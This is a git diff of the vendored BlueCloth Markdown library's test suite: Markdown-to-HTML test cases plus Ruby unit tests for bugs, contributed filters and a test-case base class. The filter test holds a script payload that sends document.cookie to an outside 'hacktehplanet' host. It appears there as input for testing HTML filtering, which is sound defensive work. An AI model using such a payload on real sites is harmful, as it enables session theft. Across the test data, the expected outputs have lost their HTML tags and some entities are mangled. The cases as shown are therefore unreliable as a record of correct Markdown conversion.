        This is another regular paragraph.

        +>>> + +# Span-level HTML (Case-sensitivity) +<<< +This is some stuff with a spanned bit of text in +it. And this *should* be a bit of deleted text which should be +preserved, and part of it emphasized. +--- Should become: +

        This is some stuff with a spanned bit of text in +it. And this should be a bit of deleted text which should be +preserved, and part of it emphasized.

        +>>> + + + +### [Code spans] + +# Single backtick +<<< +Making `code` work for you +--- Should become: +

        Making code work for you

        +>>> + +# Literal backtick with doubling +<<< +Making `` `code` `` work for you +--- Should become: +

        Making `code` work for you

        +>>> + +# Many repetitions +<<< +Making `````code````` work for you +--- Should become: +

        Making code work for you

        +>>> + +# Two in a row +<<< +This `thing` should be `two` spans. +--- Should become: +

        This thing should be two spans.

        +>>> + +# At the beginning of a newline +<<< +I should think that the +`tar` command would be universal. +--- Should become: +

        I should think that the +tar command would be universal.

        +>>> + +# Entity escaping +<<< +The left angle-bracket (`<`) can also be written as a decimal-encoded +(`<`) or hex-encoded (`<`) entity. +--- Should become: +

        The left angle-bracket (&lt;) can also be written as a decimal-encoded +(&#060;) or hex-encoded (&#x3c;) entity.

        +>>> + +# At the beginning of a document (Bug #525) +<<< +`world` views +--- Should become: +

        world views

        +>>> + + + + +### [Code blocks] + +# Para plus code block (literal tab) +<<< +This is a chunk of code: + + some.code > some.other_code + +Some stuff. +--- Should become: +

        This is a chunk of code:

        + +
        some.code > some.other_code
        +
        + +

        Some stuff.

        +>>> + +# Para plus code block (literal tab, no colon) +<<< +This is a chunk of code + + some.code > some.other_code + +Some stuff. +--- Should become: +

        This is a chunk of code

        + +
        some.code > some.other_code
        +
        + +

        Some stuff.

        +>>> + +# Para plus code block (tab-width spaces) +<<< +This is a chunk of code: + + some.code > some.other_code + +Some stuff. +--- Should become: +

        This is a chunk of code:

        + +
        some.code > some.other_code
        +
        + +

        Some stuff.

        +>>> + +# Para plus code block (tab-width spaces, no colon) +<<< +This is a chunk of code + + some.code > some.other_code + +Some stuff. +--- Should become: +

        This is a chunk of code

        + +
        some.code > some.other_code
        +
        + +

        Some stuff.

        +>>> + +# Colon with preceeding space +<<< +A regular paragraph, without a colon. : + + This is a code block. + +Some stuff. +--- Should become: +

        A regular paragraph, without a colon. :

        + +
        This is a code block.
        +
        + +

        Some stuff.

        +>>> + +# Single colon +<<< +: + + some.code > some.other_code + +Some stuff. +--- Should become: +

        :

        + +
        some.code > some.other_code
        +
        + +

        Some stuff.

        +>>> + +# Preserve leading whitespace (Bug #541) +<<< +Examples: + + # (Waste character because first line is flush left !!!) + # Example script1 + x = 1 + x += 1 + puts x + +Some stuff. +--- Should become: +

        Examples:

        + +
              # (Waste character because first line is flush left !!!)
        +      # Example script1
        +      x = 1
        +      x += 1
        +      puts x
        +
        + +

        Some stuff.

        +>>> + + +### [Horizontal Rules] + +# Hrule 1 +<<< +* * * +--- Should become: +
        +>>> + +# Hrule 2 +<<< +*** +--- Should become: +
        +>>> + +# Hrule 3 +<<< +***** +--- Should become: +
        +>>> + +# Hrule 4 +<<< +- - - +--- Should become: +
        +>>> + +# Hrule 5 +<<< +--------------------------------------- +--- Should become: +
        +>>> + + +### [Titles] + +# setext-style h1 +<<< +Title Text += +--- Should become: +

        Title Text

        +>>> + +<<< +Title Text +=== +--- Should become: +

        Title Text

        +>>> + +<<< +Title Text +========== +--- Should become: +

        Title Text

        +>>> + +# setext-style h2 +<<< +Title Text +- +--- Should become: +

        Title Text

        +>>> + +<<< +Title Text +--- +--- Should become: +

        Title Text

        +>>> + +<<< +Title Text +---------- +--- Should become: +

        Title Text

        +>>> + +# ATX-style h1 +<<< +# Title Text +--- Should become: +

        Title Text

        +>>> + +<<< +# Title Text # +--- Should become: +

        Title Text

        +>>> + +<<< +# Title Text ### +--- Should become: +

        Title Text

        +>>> + +<<< +# Title Text ##### +--- Should become: +

        Title Text

        +>>> + +# ATX-style h2 +<<< +## Title Text +--- Should become: +

        Title Text

        +>>> + +<<< +## Title Text # +--- Should become: +

        Title Text

        +>>> + +<<< +## Title Text ### +--- Should become: +

        Title Text

        +>>> + +<<< +## Title Text ##### +--- Should become: +

        Title Text

        +>>> + +# ATX-style h3 +<<< +### Title Text +--- Should become: +

        Title Text

        +>>> + +<<< +### Title Text # +--- Should become: +

        Title Text

        +>>> + +<<< +### Title Text ### +--- Should become: +

        Title Text

        +>>> + +<<< +### Title Text ##### +--- Should become: +

        Title Text

        +>>> + +# ATX-style h4 +<<< +#### Title Text +--- Should become: +

        Title Text

        +>>> + +<<< +#### Title Text # +--- Should become: +

        Title Text

        +>>> + +<<< +#### Title Text ### +--- Should become: +

        Title Text

        +>>> + +<<< +#### Title Text ##### +--- Should become: +

        Title Text

        +>>> + +# ATX-style h5 +<<< +##### Title Text +--- Should become: +
        Title Text
        +>>> + +<<< +##### Title Text # +--- Should become: +
        Title Text
        +>>> + +<<< +##### Title Text ### +--- Should become: +
        Title Text
        +>>> + +<<< +##### Title Text ##### +--- Should become: +
        Title Text
        +>>> + +# ATX-style h6 +<<< +###### Title Text +--- Should become: +
        Title Text
        +>>> + +<<< +###### Title Text # +--- Should become: +
        Title Text
        +>>> + +<<< +###### Title Text ### +--- Should become: +
        Title Text
        +>>> + +<<< +###### Title Text ##### +--- Should become: +
        Title Text
        +>>> + + +### [Blockquotes] + +# Regular 1-level blockquotes +<<< +> Email-style angle brackets +> are used for blockquotes. +--- Should become: +
        +

        Email-style angle brackets + are used for blockquotes.

        +
        +>>> + +# Doubled blockquotes +<<< +> > And, they can be nested. +--- Should become: +
        +
        +

        And, they can be nested.

        +
        +
        +>>> + +# Nested blockquotes +<<< +> Email-style angle brackets +> are used for blockquotes. + +> > And, they can be nested. +--- Should become: +
        +

        Email-style angle brackets + are used for blockquotes.

        + +
        +

        And, they can be nested.

        +
        +
        +>>> + +# Lazy blockquotes +<<< +> This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, +consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. +Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. + +> Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse +id sem consectetuer libero luctus adipiscing. +--- Should become: +
        +

        This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, + consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. + Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.

        + +

        Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse + id sem consectetuer libero luctus adipiscing.

        +
        +>>> + + +# Blockquotes containing other markdown elements +<<< +> ## This is a header. +> +> 1. This is the first list item. +> 2. This is the second list item. +> +> Here's some example code: +> +> return shell_exec("echo $input | $markdown_script"); +--- Should become: +
        +

        This is a header.

        + +
          +
        1. This is the first list item.
        2. +
        3. This is the second list item.
        4. +
        + +

        Here's some example code:

        + +
        return shell_exec("echo $input | $markdown_script");
        +
        +
        +>>> + +# Blockquotes with a
         section
        +<<<
        +> The best approximation of the problem is the following code:
        +>
        +> 
        +> foo + bar; foo.factorize; foo.display
        +> 
        +> +> This should result in an error on any little-endian platform. +--- Should become: +
        +

        The best approximation of the problem is the following code:

        + +
        +foo + bar; foo.factorize; foo.display
        +
        + +

        This should result in an error on any little-endian platform.

        +
        +>>> + + + +### [Images] + +# Inline image with title +<<< +![alt text](/path/img.jpg "Title") +--- Should become: +

        alt text

        +>>> + +# Inline image with title (single-quotes) +<<< +![alt text](/path/img.jpg 'Title') +--- Should become: +

        alt text

        +>>> + +# Inline image with title (with embedded quotes) +<<< +![alt text](/path/img.jpg 'The "Title" Image') +--- Should become: +

        alt text

        +>>> + +# Inline image without title +<<< +![alt text](/path/img.jpg) +--- Should become: +

        alt text

        +>>> + +# Inline image with quoted alt text +<<< +![the "alt text"](/path/img.jpg) +--- Should become: +

        the "alt text"

        +>>> + + +# Reference image +<<< +![alt text][id] + +[id]: /url/to/img.jpg "Title" +--- Should become: +

        alt text

        +>>> + + + +### [Emphasis] + +# Emphasis () with asterisks +<<< +Use *single splats* for emphasis. +--- Should become: +

        Use single splats for emphasis.

        +>>> + +# Emphasis () with underscores +<<< +Use *underscores* for emphasis. +--- Should become: +

        Use underscores for emphasis.

        +>>> + +# Strong emphasis () with asterisks +<<< +Use **double splats** for more emphasis. +--- Should become: +

        Use double splats for more emphasis.

        +>>> + +# Strong emphasis () with underscores +<<< +Use __doubled underscores__ for more emphasis. +--- Should become: +

        Use doubled underscores for more emphasis.

        +>>> + +# Combined emphasis types 1 +<<< +Use *single splats* or _single unders_ for normal emphasis. +--- Should become: +

        Use single splats or single unders for normal emphasis.

        +>>> + +# Combined emphasis types 2 +<<< +Use _single unders_ for normal emphasis +or __double them__ for strong emphasis. +--- Should become: +

        Use single unders for normal emphasis +or double them for strong emphasis.

        +>>> + +# Emphasis containing escaped metachars +<<< +You can include literal *\*splats\** by escaping them. +--- Should become: +

        You can include literal *splats* by escaping them.

        +>>> + +# Two instances of asterisked emphasis on one line +<<< +If there's *two* splatted parts on a *single line* it should still work. +--- Should become: +

        If there's two splatted parts on a single line it should still work.

        +>>> + +# Two instances of double asterisked emphasis on one line +<<< +This **doubled** one should **work too**. +--- Should become: +

        This doubled one should work too.

        +>>> + +# Two instances of underscore emphasis on one line +<<< +If there's _two_ underbarred parts on a _single line_ it should still work. +--- Should become: +

        If there's two underbarred parts on a single line it should still work.

        +>>> + +# Two instances of doubled underscore emphasis on one line +<<< +This __doubled__ one should __work too__. +--- Should become: +

        This doubled one should work too.

        +>>> + +# Initial emphasis (asterisk) +<<< +*Something* like this should be bold. +--- Should become: +

        Something like this should be bold.

        +>>> + +# Initial emphasis (underscore) +<<< +_Something_ like this should be bold. +--- Should become: +

        Something like this should be bold.

        +>>> + +# Initial strong emphasis (asterisk) +<<< +**Something** like this should be bold. +--- Should become: +

        Something like this should be bold.

        +>>> + +# Initial strong emphasis (underscore) +<<< +__Something__ like this should be bold. +--- Should become: +

        Something like this should be bold.

        +>>> + +# Partial-word emphasis (Bug #568) +<<< +**E**xtended **TURN** +--- Should become: +

        Extended TURN

        +>>> + + + +### [Links] + +# Inline link, no title +<<< +An [example](http://url.com/). +--- Should become: +

        An example.

        +>>> + +# Inline link with title +<<< +An [example](http://url.com/ "Check out url.com!"). +--- Should become: +

        An example.

        +>>> + +# Reference-style link, no title +<<< +An [example][ex] reference-style link. + +[ex]: http://www.bluefi.com/ +--- Should become: +

        An example reference-style link.

        +>>> + +# Reference-style link with quoted title +<<< +An [example][ex] reference-style link. + +[ex]: http://www.bluefi.com/ "Check out our air." +--- Should become: +

        An example reference-style link.

        +>>> + +# Reference-style link with paren title +<<< +An [example][ex] reference-style link. + +[ex]: http://www.bluefi.com/ (Check out our air.) +--- Should become: +

        An example reference-style link.

        +>>> + +# Reference-style link with one of each (hehe) +<<< +An [example][ex] reference-style link. + +[ex]: http://www.bluefi.com/ "Check out our air.) +--- Should become: +

        An example reference-style link.

        +>>> + +" <- For syntax highlighting + +# Reference-style link with intervening space +<<< +You can split the [linked part] [ex] from +the reference part with a single space. + +[ex]: http://www.treefrog.com/ "for some reason" +--- Should become: +

        You can split the linked part from +the reference part with a single space.

        +>>> + +# Reference-style link with intervening space +<<< +You can split the [linked part] + [ex] from the reference part +with a newline in case your editor wraps it there, I guess. + +[ex]: http://www.treefrog.com/ +--- Should become: +

        You can split the linked part from the reference part +with a newline in case your editor wraps it there, I guess.

        +>>> + +# Reference-style anchors +<<< +I get 10 times more traffic from [Google] [1] than from +[Yahoo] [2] or [MSN] [3]. + + [1]: http://google.com/ "Google" + [2]: http://search.yahoo.com/ "Yahoo Search" + [3]: http://search.msn.com/ "MSN Search" +--- Should become: +

        I get 10 times more traffic from Google than from +Yahoo or MSN.

        +>>> + +# Implicit name-link shortcut anchors +<<< +I get 10 times more traffic from [Google][] than from +[Yahoo][] or [MSN][]. + + [google]: http://google.com/ "Google" + [yahoo]: http://search.yahoo.com/ "Yahoo Search" + [msn]: http://search.msn.com/ "MSN Search" +--- Should become: +

        I get 10 times more traffic from Google than from +Yahoo or MSN.

        +>>> + +# Inline anchors +<<< +I get 10 times more traffic from [Google](http://google.com/ "Google") +than from [Yahoo](http://search.yahoo.com/ "Yahoo Search") or +[MSN](http://search.msn.com/ "MSN Search"). +--- Should become: +

        I get 10 times more traffic from Google +than from Yahoo or +MSN.

        +>>> + +# Graceful fail for unclosed brackets (and bug #524) +<<< +This is just a [bracket opener; it should fail gracefully. +--- Should become: +

        This is just a [bracket opener; it should fail gracefully.

        +>>> + +# Unresolved reference-style links (Bug #620) +<<< +This is an unresolved [url][1]. +--- Should become: +

        This is an unresolved [url][1].

        +>>> + + +### [Auto-links] + +# Plain HTTP link +<<< +This is a reference to . You should follow it. +--- Should become: +

        This is a reference to http://www.FaerieMUD.org/. You should follow it.

        +>>> + +# FTP link +<<< +Why not download your very own chandelier from ? +--- Should become: +

        Why not download your very own chandelier from ftp://ftp.usuc.edu/pub/foof/mir/?

        +>>> + + +### [Lists] + +# Unordered list +<<< +* Red +* Green +* Blue +--- Should become: +
          +
        • Red
        • +
        • Green
        • +
        • Blue
        • +
        +>>> + +# Unordered list w/alt bullets +<<< +- Red +- Green +- Blue +--- Should become: +
          +
        • Red
        • +
        • Green
        • +
        • Blue
        • +
        +>>> + +# Unordered list w/alt bullets 2 +<<< ++ Red ++ Green ++ Blue +--- Should become: +
          +
        • Red
        • +
        • Green
        • +
        • Blue
        • +
        +>>> + +# Unordered list w/mixed bullets +<<< ++ Red +- Green +* Blue +--- Should become: +
          +
        • Red
        • +
        • Green
        • +
        • Blue
        • +
        +>>> + +# Ordered list +<<< +1. Bird +2. McHale +3. Parish +--- Should become: +
          +
        1. Bird
        2. +
        3. McHale
        4. +
        5. Parish
        6. +
        +>>> + +# Ordered list, any numbers +<<< +1. Bird +1. McHale +1. Parish +--- Should become: +
          +
        1. Bird
        2. +
        3. McHale
        4. +
        5. Parish
        6. +
        +>>> + +# Ordered list, any numbers 2 +<<< +3. Bird +1. McHale +8. Parish +--- Should become: +
          +
        1. Bird
        2. +
        3. McHale
        4. +
        5. Parish
        6. +
        +>>> + +# Hanging indents +<<< +* Lorem ipsum dolor sit amet, consectetuer adipiscing elit. + Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, + viverra nec, fringilla in, laoreet vitae, risus. +* Donec sit amet nisl. Aliquam semper ipsum sit amet velit. + Suspendisse id sem consectetuer libero luctus adipiscing. +--- Should become: +
          +
        • Lorem ipsum dolor sit amet, consectetuer adipiscing elit. +Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, +viverra nec, fringilla in, laoreet vitae, risus.
        • +
        • Donec sit amet nisl. Aliquam semper ipsum sit amet velit. +Suspendisse id sem consectetuer libero luctus adipiscing.
        • +
        +>>> + +# Lazy indents +<<< +* Lorem ipsum dolor sit amet, consectetuer adipiscing elit. +Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, +viverra nec, fringilla in, laoreet vitae, risus. +* Donec sit amet nisl. Aliquam semper ipsum sit amet velit. +Suspendisse id sem consectetuer libero luctus adipiscing. +--- Should become: +
          +
        • Lorem ipsum dolor sit amet, consectetuer adipiscing elit. +Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, +viverra nec, fringilla in, laoreet vitae, risus.
        • +
        • Donec sit amet nisl. Aliquam semper ipsum sit amet velit. +Suspendisse id sem consectetuer libero luctus adipiscing.
        • +
        +>>> + +# Paragraph wrapped list items +<<< +* Bird + +* Magic +--- Should become: +
          +
        • Bird

        • +
        • Magic

        • +
        +>>> + +# Multi-paragraph list items +<<< +1. This is a list item with two paragraphs. Lorem ipsum dolor + sit amet, consectetuer adipiscing elit. Aliquam hendrerit + mi posuere lectus. + + Vestibulum enim wisi, viverra nec, fringilla in, laoreet + vitae, risus. Donec sit amet nisl. Aliquam semper ipsum + sit amet velit. + +2. Suspendisse id sem consectetuer libero luctus adipiscing. +--- Should become: +
          +
        1. This is a list item with two paragraphs. Lorem ipsum dolor +sit amet, consectetuer adipiscing elit. Aliquam hendrerit +mi posuere lectus.

          + +

          Vestibulum enim wisi, viverra nec, fringilla in, laoreet +vitae, risus. Donec sit amet nisl. Aliquam semper ipsum +sit amet velit.

        2. +
        3. Suspendisse id sem consectetuer libero luctus adipiscing.

        4. +
        +>>> + +# Lazy multi-paragraphs +<<< +* This is a list item with two paragraphs. + + This is the second paragraph in the list item. You're +only required to indent the first line. Lorem ipsum dolor +sit amet, consectetuer adipiscing elit. + +* Another item in the same list. +--- Should become: +
          +
        • This is a list item with two paragraphs.

          + +

          This is the second paragraph in the list item. You're +only required to indent the first line. Lorem ipsum dolor +sit amet, consectetuer adipiscing elit.

        • +
        • Another item in the same list.

        • +
        +>>> + +# Blockquote in list item +<<< +* A list item with a blockquote: + + > This is a blockquote + > inside a list item. +--- Should become: +
          +
        • A list item with a blockquote:

          + +
          +

          This is a blockquote + inside a list item.

          +
        • +
        +>>> + +# Code block in list item +<<< +* A list item with a code block: + + +--- Should become: +
          +
        • A list item with a code block:

          + +
          <code goes here>
          +
        • +
        +>>> + +# Backslash-escaped number-period-space +<<< +1986\. What a great season. +--- Should become: +

        1986. What a great season.

        +>>> + diff --git a/vendor/bluecloth-1.0.0/tests/10_Bug.tests.rb b/vendor/bluecloth-1.0.0/tests/10_Bug.tests.rb index 0ca746b4..0a1e6b86 100755 --- a/vendor/bluecloth-1.0.0/tests/10_Bug.tests.rb +++ b/vendor/bluecloth-1.0.0/tests/10_Bug.tests.rb @@ -1,57 +1,57 @@ -#!/usr/bin/ruby -# -# Unit test for bugs found in BlueCloth -# $Id: 10_Bug.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ -# -# Copyright (c) 2004 The FaerieMUD Consortium. -# - -if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) - basedir = File::dirname( __FILE__ ) - require File::join( basedir, 'bctestcase' ) -end - - -require 'timeout' - -### This test case tests ... -class BugsTestCase < BlueCloth::TestCase - BaseDir = File::dirname( File::dirname(File::expand_path( __FILE__ )) ) - - ### Test to be sure the README file can be transformed. - def test_00_slow_block_regex - contents = File::read( File::join(BaseDir,"README") ) - bcobj = BlueCloth::new( contents ) - - assert_nothing_raised { - timeout( 2 ) do - bcobj.to_html - end - } - end - - ### :TODO: Add more documents and test their transforms. - - def test_10_regexp_engine_overflow_bug - contents = File::read( File::join(BaseDir,"tests/data/re-overflow.txt") ) - bcobj = BlueCloth::new( contents ) - - assert_nothing_raised { - bcobj.to_html - } - end - - def test_15_regexp_engine_overflow_bug2 - contents = File::read( File::join(BaseDir,"tests/data/re-overflow2.txt") ) - bcobj = BlueCloth::new( contents ) - - assert_nothing_raised { - bcobj.to_html - } - end - -end - - -__END__ - +#!/usr/bin/ruby +# +# Unit test for bugs found in BlueCloth +# $Id: 10_Bug.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# +# Copyright (c) 2004 The FaerieMUD Consortium. +# + +if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) + basedir = File::dirname( __FILE__ ) + require File::join( basedir, 'bctestcase' ) +end + + +require 'timeout' + +### This test case tests ... +class BugsTestCase < BlueCloth::TestCase + BaseDir = File::dirname( File::dirname(File::expand_path( __FILE__ )) ) + + ### Test to be sure the README file can be transformed. + def test_00_slow_block_regex + contents = File::read( File::join(BaseDir,"README") ) + bcobj = BlueCloth::new( contents ) + + assert_nothing_raised { + timeout( 2 ) do + bcobj.to_html + end + } + end + + ### :TODO: Add more documents and test their transforms. + + def test_10_regexp_engine_overflow_bug + contents = File::read( File::join(BaseDir,"tests/data/re-overflow.txt") ) + bcobj = BlueCloth::new( contents ) + + assert_nothing_raised { + bcobj.to_html + } + end + + def test_15_regexp_engine_overflow_bug2 + contents = File::read( File::join(BaseDir,"tests/data/re-overflow2.txt") ) + bcobj = BlueCloth::new( contents ) + + assert_nothing_raised { + bcobj.to_html + } + end + +end + + +__END__ + diff --git a/vendor/bluecloth-1.0.0/tests/15_Contrib.tests.rb b/vendor/bluecloth-1.0.0/tests/15_Contrib.tests.rb index 56af2d8b..0b304e37 100755 --- a/vendor/bluecloth-1.0.0/tests/15_Contrib.tests.rb +++ b/vendor/bluecloth-1.0.0/tests/15_Contrib.tests.rb @@ -1,132 +1,132 @@ -#!/usr/bin/ruby -# -# Unit test for contributed features -# $Id: 15_Contrib.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ -# -# Copyright (c) 2004 The FaerieMUD Consortium. -# - -if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) - basedir = File::dirname( __FILE__ ) - require File::join( basedir, 'bctestcase' ) -end - - - -### This test case tests ... -class ContribTestCase < BlueCloth::TestCase - - DangerousHtml = - "" - DangerousHtmlOutput = - "

        <script>document.location='http://www.hacktehplanet.com" + - "/cgi-bin/cookie.cgi?' + document.cookie</script>

        " - DangerousStylesOutput = - "" - NoLessThanHtml = "Foo is definitely > than bar" - NoLessThanOutput = "

        Foo is definitely > than bar

        " - - - ### HTML filter options contributed by Florian Gross. - - ### Test the :filter_html restriction - def test_10_filter_html - printTestHeader "filter_html Option" - rval = bc = nil - - # Test as a 1st-level param - assert_nothing_raised { - bc = BlueCloth::new( DangerousHtml, :filter_html ) - } - assert_instance_of BlueCloth, bc - - # Accessors - assert_nothing_raised { rval = bc.filter_html } - assert_equal true, rval - assert_nothing_raised { rval = bc.filter_styles } - assert_equal nil, rval - - # Test rendering with filters on - assert_nothing_raised { rval = bc.to_html } - assert_equal DangerousHtmlOutput, rval - - # Test setting it in a sub-array - assert_nothing_raised { - bc = BlueCloth::new( DangerousHtml, [:filter_html] ) - } - assert_instance_of BlueCloth, bc - - # Accessors - assert_nothing_raised { rval = bc.filter_html } - assert_equal true, rval - assert_nothing_raised { rval = bc.filter_styles } - assert_equal nil, rval - - # Test rendering with filters on - assert_nothing_raised { rval = bc.to_html } - assert_equal DangerousHtmlOutput, rval - end - - - ### Test the :filter_styles restriction - def test_20_filter_styles - printTestHeader "filter_styles Option" - rval = bc = nil - - # Test as a 1st-level param - assert_nothing_raised { - bc = BlueCloth::new( DangerousHtml, :filter_styles ) - } - assert_instance_of BlueCloth, bc - - # Accessors - assert_nothing_raised { rval = bc.filter_styles } - assert_equal true, rval - assert_nothing_raised { rval = bc.filter_html } - assert_equal nil, rval - - # Test rendering with filters on - assert_nothing_raised { rval = bc.to_html } - assert_equal DangerousStylesOutput, rval - - # Test setting it in a subarray - assert_nothing_raised { - bc = BlueCloth::new( DangerousHtml, [:filter_styles] ) - } - assert_instance_of BlueCloth, bc - - # Accessors - assert_nothing_raised { rval = bc.filter_styles } - assert_equal true, rval - assert_nothing_raised { rval = bc.filter_html } - assert_equal nil, rval - - # Test rendering with filters on - assert_nothing_raised { rval = bc.to_html } - assert_equal DangerousStylesOutput, rval - - end - - - ### Test to be sure filtering when there's no opening angle brackets doesn't - ### die. - def test_30_filter_no_less_than - printTestHeader "filter without a less-than" - rval = bc = nil - - # Test as a 1st-level param - assert_nothing_raised { - bc = BlueCloth::new( NoLessThanHtml, :filter_html ) - } - assert_instance_of BlueCloth, bc - - assert_nothing_raised { rval = bc.to_html } - assert_equal NoLessThanOutput, rval - end - - - -end - +#!/usr/bin/ruby +# +# Unit test for contributed features +# $Id: 15_Contrib.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# +# Copyright (c) 2004 The FaerieMUD Consortium. +# + +if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) + basedir = File::dirname( __FILE__ ) + require File::join( basedir, 'bctestcase' ) +end + + + +### This test case tests ... +class ContribTestCase < BlueCloth::TestCase + + DangerousHtml = + "" + DangerousHtmlOutput = + "

        <script>document.location='http://www.hacktehplanet.com" + + "/cgi-bin/cookie.cgi?' + document.cookie</script>

        " + DangerousStylesOutput = + "" + NoLessThanHtml = "Foo is definitely > than bar" + NoLessThanOutput = "

        Foo is definitely > than bar

        " + + + ### HTML filter options contributed by Florian Gross. + + ### Test the :filter_html restriction + def test_10_filter_html + printTestHeader "filter_html Option" + rval = bc = nil + + # Test as a 1st-level param + assert_nothing_raised { + bc = BlueCloth::new( DangerousHtml, :filter_html ) + } + assert_instance_of BlueCloth, bc + + # Accessors + assert_nothing_raised { rval = bc.filter_html } + assert_equal true, rval + assert_nothing_raised { rval = bc.filter_styles } + assert_equal nil, rval + + # Test rendering with filters on + assert_nothing_raised { rval = bc.to_html } + assert_equal DangerousHtmlOutput, rval + + # Test setting it in a sub-array + assert_nothing_raised { + bc = BlueCloth::new( DangerousHtml, [:filter_html] ) + } + assert_instance_of BlueCloth, bc + + # Accessors + assert_nothing_raised { rval = bc.filter_html } + assert_equal true, rval + assert_nothing_raised { rval = bc.filter_styles } + assert_equal nil, rval + + # Test rendering with filters on + assert_nothing_raised { rval = bc.to_html } + assert_equal DangerousHtmlOutput, rval + end + + + ### Test the :filter_styles restriction + def test_20_filter_styles + printTestHeader "filter_styles Option" + rval = bc = nil + + # Test as a 1st-level param + assert_nothing_raised { + bc = BlueCloth::new( DangerousHtml, :filter_styles ) + } + assert_instance_of BlueCloth, bc + + # Accessors + assert_nothing_raised { rval = bc.filter_styles } + assert_equal true, rval + assert_nothing_raised { rval = bc.filter_html } + assert_equal nil, rval + + # Test rendering with filters on + assert_nothing_raised { rval = bc.to_html } + assert_equal DangerousStylesOutput, rval + + # Test setting it in a subarray + assert_nothing_raised { + bc = BlueCloth::new( DangerousHtml, [:filter_styles] ) + } + assert_instance_of BlueCloth, bc + + # Accessors + assert_nothing_raised { rval = bc.filter_styles } + assert_equal true, rval + assert_nothing_raised { rval = bc.filter_html } + assert_equal nil, rval + + # Test rendering with filters on + assert_nothing_raised { rval = bc.to_html } + assert_equal DangerousStylesOutput, rval + + end + + + ### Test to be sure filtering when there's no opening angle brackets doesn't + ### die. + def test_30_filter_no_less_than + printTestHeader "filter without a less-than" + rval = bc = nil + + # Test as a 1st-level param + assert_nothing_raised { + bc = BlueCloth::new( NoLessThanHtml, :filter_html ) + } + assert_instance_of BlueCloth, bc + + assert_nothing_raised { rval = bc.to_html } + assert_equal NoLessThanOutput, rval + end + + + +end + diff --git a/vendor/bluecloth-1.0.0/tests/bctestcase.rb b/vendor/bluecloth-1.0.0/tests/bctestcase.rb index 15a920f4..25fad2c5 100755 --- a/vendor/bluecloth-1.0.0/tests/bctestcase.rb +++ b/vendor/bluecloth-1.0.0/tests/bctestcase.rb @@ -1,274 +1,274 @@ -#!/usr/bin/ruby -# -# This is an abstract test case class for building Test::Unit unit tests for the -# BlueCloth module. It consolidates most of the maintenance work that must be -# done to build a test file by adjusting the $LOAD_PATH appropriately, as well -# as adding some other useful methods that make building, maintaining, and using -# the tests for programming much easier (IMHO). See the docs for Test::Unit for -# more info on the particulars of unit testing. -# -# == Synopsis -# -# # Allow the test to be run from anywhere: -# if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) -# basedir = File::dirname( __FILE__ ) -# require File::join( basedir, 'bctestcase' ) -# end -# -# class MySomethingTest < BlueCloth::TestCase -# def setup -# super() -# @foo = 'bar' -# end -# -# def test_00_something -# obj = nil -# assert_nothing_raised { obj = MySomething::new } -# assert_instance_of MySomething, obj -# assert_respond_to :myMethod, obj -# end -# -# end -# -# == Rcsid -# -# $Id: bctestcase.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ -# -# == Authors -# -# * Michael Granger -# -#:include: COPYRIGHT -# -#--- -# -# Please see the file COPYRIGHT in the 'docs' directory for licensing details. -# - -$DebugPattern ||= nil - -begin - basedir = File::dirname( File::dirname(__FILE__) ) - unless $LOAD_PATH.include?( "#{basedir}/lib" ) - $LOAD_PATH.unshift "#{basedir}/lib" - end -end - -require "test/unit" -require "bluecloth" - - -class BlueCloth - - ### The abstract base class for BlueCloth test cases. - class TestCase < Test::Unit::TestCase - - @methodCounter = 0 - @setupBlocks = [] - @teardownBlocks = [] - class << self - attr_accessor :methodCounter, :setupBlocks, :teardownBlocks - end - - - ### Inheritance callback -- adds @setupBlocks and @teardownBlocks ivars - ### and accessors to the inheriting class. - def self::inherited( klass ) - klass.module_eval { - @setupBlocks = [] - @teardownBlocks = [] - - class << self - attr_accessor :setupBlocks, :teardownBlocks - end - } - klass.methodCounter = 0 - end - - - - ### Output the specified msgs joined together to - ### STDERR if $DEBUG is set. - def self::debugMsg( *msgs ) - return unless $DEBUG - self.message "DEBUG>>> %s" % msgs.join('') - end - - ### Output the specified msgs joined together to - ### STDOUT. - def self::message( *msgs ) - $stderr.puts msgs.join('') - $stderr.flush - end - - - ### Add a setup block for the current testcase - def self::addSetupBlock( &block ) - self.methodCounter += 1 - newMethodName = "setup_#{self.methodCounter}".intern - define_method( newMethodName, &block ) - self.setupBlocks.push newMethodName - end - - ### Add a teardown block for the current testcase - def self::addTeardownBlock( &block ) - self.methodCounter += 1 - newMethodName = "teardown_#{self.methodCounter}".intern - define_method( newMethodName, &block ) - self.teardownBlocks.unshift newMethodName - end - - - ############################################################# - ### I N S T A N C E M E T H O D S - ############################################################# - - ### A dummy test method to allow this Test::Unit::TestCase to be - ### subclassed without complaining about the lack of tests. - def test_0_dummy - end - - - ### Forward-compatibility method for namechange in Test::Unit - def setup( *args ) - self.class.setupBlocks.each {|sblock| - debugMsg "Calling setup block method #{sblock}" - self.send( sblock ) - } - super( *args ) - end - alias_method :set_up, :setup - - - ### Forward-compatibility method for namechange in Test::Unit - def teardown( *args ) - super( *args ) - self.class.teardownBlocks.each {|tblock| - debugMsg "Calling teardown block method #{tblock}" - self.send( tblock ) - } - end - alias_method :tear_down, :teardown - - - ### Skip the current step (called from #setup) with the +reason+ given. - def skip( reason=nil ) - if reason - msg = "Skipping %s: %s" % [ @method_name, reason ] - else - msg = "Skipping %s: No reason given." % @method_name - end - 